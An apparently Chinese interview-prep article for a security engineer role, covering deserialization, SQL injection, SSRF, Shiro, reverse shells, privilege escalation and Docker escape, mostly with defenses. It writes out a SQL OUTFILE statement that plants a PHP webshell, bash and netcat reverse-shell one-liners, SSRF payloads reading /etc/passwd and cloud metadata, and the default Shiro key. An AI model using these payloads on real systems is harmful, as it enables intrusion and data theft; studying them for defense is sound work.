网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
携程旅游-基础安全工程师
反序列化原理 sql注入本质 sql注入写马流程 outfile与dumpfile的区别 -前者支持多行和自定义编码 宽字节截断原理 SSRF的利用和防御 SSRF无回显如何利用 shiro利用失败,如何分析 文件上传如何防御 sqlmap原理,如何分析 文件上传如何防御 sqlmap原理,常规xss扫描器原理 反弹shell如何检测 反弹shell的原理 作为一个agent 需要采集哪些信息,如何构建进程树 提权如何检测 docker逃逸原理 隧道本质是什么 甲方的代码审计与红队漏洞挖掘有哪些差异 如何权衡各种漏扫或入侵检测的漏报和误报 IAST主动与被动的区别
助用户理解并应对面试。
反序列化原理
核心原理
序列化与反序列化的定义
序列化是将对象状态转换为可存储或传输格式(如JSON、XML、二进制流)的过程,反序列化是其逆向操作。其本质是通过特定协议将内存中的对象结构映射为字节流,便于跨平台传输或持久化存储。漏洞触发机制
反序列化漏洞的根源在于:当程序反序列化不可信数据时,若未严格校验数据合法性,攻击者可能通过构造恶意序列化数据触发非预期的对象创建、方法调用或代码执行。例如,Java中通过ObjectInputStream
反序列化时,可能触发readObject()
方法中的危险逻辑。典型攻击场景
- 利用链构造:攻击者通过组合目标类库中的多个类(如Apache Commons Collections的
Transformer
链),形成从反序列化入口到危险操作(如Runtime.exec()
)的完整利用链。- 动态类加载:某些框架(如XStream)允许通过序列化数据指定加载远程类文件,导致远程代码执行(RCE)。
扩展分析
- 防御措施
- 白名单验证:限制反序列化的类范围(如Java的
ObjectInputFilter
)。- 签名校验:对序列化数据添加数字签名,防止篡改。
- 禁用危险功能:如关闭Java的
JNDI
远程类加载功能。- 工具与检测
- 使用
ysoserial
生成攻击载荷,通过流量分析或代码审计识别漏洞点。- 安全框架如
SerialKiller
可拦截恶意反序列化行为。
SQL注入本质
核心原理
输入作为代码执行
SQL注入的本质是将用户输入拼接到SQL语句中,导致输入数据被解析为SQL代码。例如,' OR 1=1 --
闭合原查询条件,使查询逻辑失效。漏洞分类
- 联合查询注入:通过
UNION
合并恶意查询。- 布尔盲注:通过页面响应差异逐位推断数据。
- 时间盲注:利用
SLEEP()
等函数触发延迟判断。攻击影响
可导致数据泄露、篡改、权限提升,甚至通过xp_cmdshell
执行系统命令。扩展分析
- 防御方案
- 预编译(参数化查询):将输入作为参数而非语句的一部分(如Java的
PreparedStatement
)。- 输入过滤:过滤敏感字符(如
'
、"
、;
),但需注意转义规则与编码问题。- 最小权限原则:数据库账户仅分配必要权限,禁用危险函数。
- 自动化检测
- 动态扫描:通过
sqlmap
等工具自动化探测注入点。- 静态分析:使用
Semgrep
检查代码中的字符串拼接逻辑。
SQL注入写马流程
核心步骤
路径与权限获取
- 通过
@@secure_file_priv
查看MySQL导出路径限制。- 确保数据库用户具备
FILE
权限,且目标目录可写。文件写入
使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php'
将WebShell写入Web目录。访问与利用
通过HTTP请求访问WebShell,传递参数执行命令。扩展分析
- 限制条件
- MySQL需启用
--secure-file-priv
的非严格模式。- 绝对路径需通过报错或枚举获取(如
load_file()
读取配置文件)。- 防御手段
- 禁用
FILE
权限,限制数据库账户操作范围。- 对Web目录设置不可执行权限。
Outfile与Dumpfile的区别
- 功能差异
- OUTFILE:支持多行数据导出,可指定字段终止符(如
FIELDS TERMINATED BY ','
)和编码格式。- DUMPFILE:仅导出单行数据,适用于二进制文件(如图片、可执行文件)。
- 使用场景
- 导出文本:
OUTFILE
适用于CSV、日志等结构化文本。- 导出二进制:
DUMPFILE
用于导出BLOB字段或二进制内容。- 安全限制
两者均需FILE
权限,且受@@secure_file_priv
路径限制。
宽字节截断原理
核心逻辑
编码漏洞成因
当数据库使用GBK等宽字节编码时,若转义逻辑不当(如PHP的addslashes()
),'
被转义为\'
(即%5C%27
)。攻击者输入%bf%27
,数据库将%bf%5c
解析为繁体字“縗”,导致%27
('
)未被转义,从而闭合字符串。利用场景
常用于绕过转义函数,构造SQL注入或文件上传漏洞(如截断文件名a.php%bf.jpg
)。扩展分析
- 防御方案
- 统一使用UTF-8编码,避免宽字节问题。
- 使用
mysql_real_escape_string()
而非addslashes()
。
SSRF的利用和防御
利用方式
- 内网服务探测
- 访问
http://127.0.0.1:8080
探测本地服务。- 利用AWS元数据接口
http://169.254.169.254
获取云服务器敏感信息。- 协议滥用
- File协议:读取本地文件(
file:///etc/passwd
)。- Dict协议:探测端口信息(
dict://127.0.0.1:6379/info
)。- 远程代码执行
结合内网应用的RCE漏洞(如Redis未授权访问)实现攻击链。防御方案
- 输入校验
- 禁止内网IP和特殊协议(如
file://
)。- 使用域名白名单限制访问范围。
- 网络层防护
- 配置防火墙规则,限制应用服务器出站流量。
- 使用代理服务隔离请求来源。
SSRF无回显如何利用
- DNS带外(OOB)
构造URL如http://dnslog.cn/record?q=payload
,通过DNS查询日志获取数据。- 延迟检测
通过响应时间差异判断端口开放状态(如访问开放的Redis端口会立即返回错误)。- 外部服务交互
利用HTTP服务记录请求参数(如https://requestbin.com/?data=secret
)。
Shiro利用失败分析
- 密钥不匹配
Shiro的RememberMe功能依赖AES加密,若目标修改默认密钥(kPH+bIxk5D2deZiIxcaaaA==
),则无法解密Cookie。- 依赖库缺失
利用链需特定类库(如Commons Beanutils),若目标环境未包含则攻击失败。- 防御措施生效
- 开启Shiro的
secureRandom
增强密钥强度。- 使用WAF拦截恶意请求头。
文件上传防御
- 文件类型校验
- 检查MIME类型、文件头(如
FFD8FF
对应JPEG)。- 禁止上传可执行文件(如
.php
、.jsp
)。- 存储隔离
- 文件重命名(如UUID),避免路径遍历。
- 存储到非Web目录,通过代理服务访问静态资源。
- 服务端加固
- 设置文件大小限制,禁用危险函数(如
putenv()
)。- 使用沙箱环境处理上传文件。
SQLMap原理与XSS扫描器对比
SQLMap核心逻辑
- 启发式探测
通过报错信息(如You have an error in your SQL syntax
)判断注入点类型。- Payload生成
针对不同数据库(MySQL、MSSQL)构造联合查询、布尔逻辑等载荷。- 结果提取
利用UNION
查询、时间盲注逐位提取数据。XSS扫描器原理
- 模糊测试(Fuzzing)
插入<script>alert(1)</script>
等测试向量,检测是否原样输出。- DOM分析
解析JavaScript代码,检测document.location
等敏感源。- 自动化验证
通过浏览器引擎(如Headless Chrome)模拟点击,检测弹窗行为。
反弹Shell检测与原理
检测手段
- 网络流量分析
- 监控非常规端口的出站连接(如
/bin/bash
连接外部IP的4444端口)。- 识别Shell特征(如
sh -i
、/dev/tcp
)。- 进程监控
- 检测子进程链(如
sshd -> bash -> nc
)。- 使用
auditd
记录敏感系统调用(execve
)。反弹Shell原理
- 反向连接
受害主机主动连接攻击者控制的IP和端口,绕过防火墙限制。- 常用命令
- Bash:
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
- Netcat:
nc -e /bin/sh 1.1.1.1 4444
Agent信息采集与进程树构建
采集信息类型
- 系统基础信息
- 操作系统版本、内核参数、环境变量。
- 用户列表、计划任务、服务配置。
- 运行时数据
- 进程列表(PID、PPID、命令行参数)。
- 网络连接(端口、协议、状态)。
- 安全相关数据
- 文件完整性校验(如Tripwire)。
- 日志文件(syslog、auth.log )。
进程树构建方法
- 遍历/proc目录
解析/proc/[PID]/stat
获取父进程ID(PPID),递归生成树状结构。- 工具辅助
使用pstree
或htop
可视化展示进程关系。
提权检测
- 内核漏洞检测
使用uname -a
获取内核版本,匹配已知漏洞(如DirtyCow)。- SUID/SGID文件检查
查找具有SUID权限的可执行文件(find / -perm -4000
)。- sudo配置审计
检查/etc/sudoers
中用户权限是否过度分配。
Docker逃逸原理
- 特权模式滥用
使用--privileged
启动容器,攻击者可通过挂载宿主机目录(/
)逃逸。- 漏洞利用
利用CVE-2019-5736(runc漏洞)覆盖宿主机二进制文件。- 配置错误
挂载Docker Socket(/var/run/docker.sock
)允许容器内控制宿主机Docker服务。
隧道本质
- 协议封装
将原始流量封装在合法协议(如HTTP、DNS)中,绕过防火墙检测。- 流量转发
使用工具(如frp
、ngrok
)建立加密通道,将内网服务暴露至公网。
甲方代码审计与红队漏洞挖掘差异
- 目标差异
- 甲方:聚焦SDL(安全开发生命周期),修复潜在风险(如硬编码密钥)。
- 红队:寻找可利用漏洞(如RCE、SSRF),模拟真实攻击路径。
- 方法论
- 甲方:结合SAST/DAST工具,覆盖全量代码。
- 红队:针对性手工测试,利用0day和逻辑漏洞。
- 输出结果
- 甲方:生成漏洞报告并推动修复,关注合规性(如GDPR)。
- 红队:提供攻击路径报告,协助优化防御体系。
漏扫与入侵检测的权衡
- 误报处理
- 优化规则库:通过误报样本调整正则表达式阈值。
- 人工验证:对高风险告警手动确认。
- 漏报应对
- 威胁情报整合:基于最新攻击模式更新检测规则。
- 多层防御:结合网络层、主机层、应用层防护。
- 业务适配
- 根据业务重要性调整检测灵敏度(如金融系统偏向减少漏报)。
IAST主动与被动的区别
- 主动式(Instrumentation)
- 原理:在应用中插入探针,实时监控运行时的数据流和漏洞。
- 优点:覆盖率高,可检测上下文相关漏洞(如业务逻辑错误)。
- 缺点:性能损耗大,需适配不同语言框架。
- 被动式(流量分析)
- 原理:通过代理或镜像流量分析请求/响应,识别漏洞模式。
- 优点:无侵入性,支持多语言应用。
- 缺点:无法检测未触发代码路径的漏洞。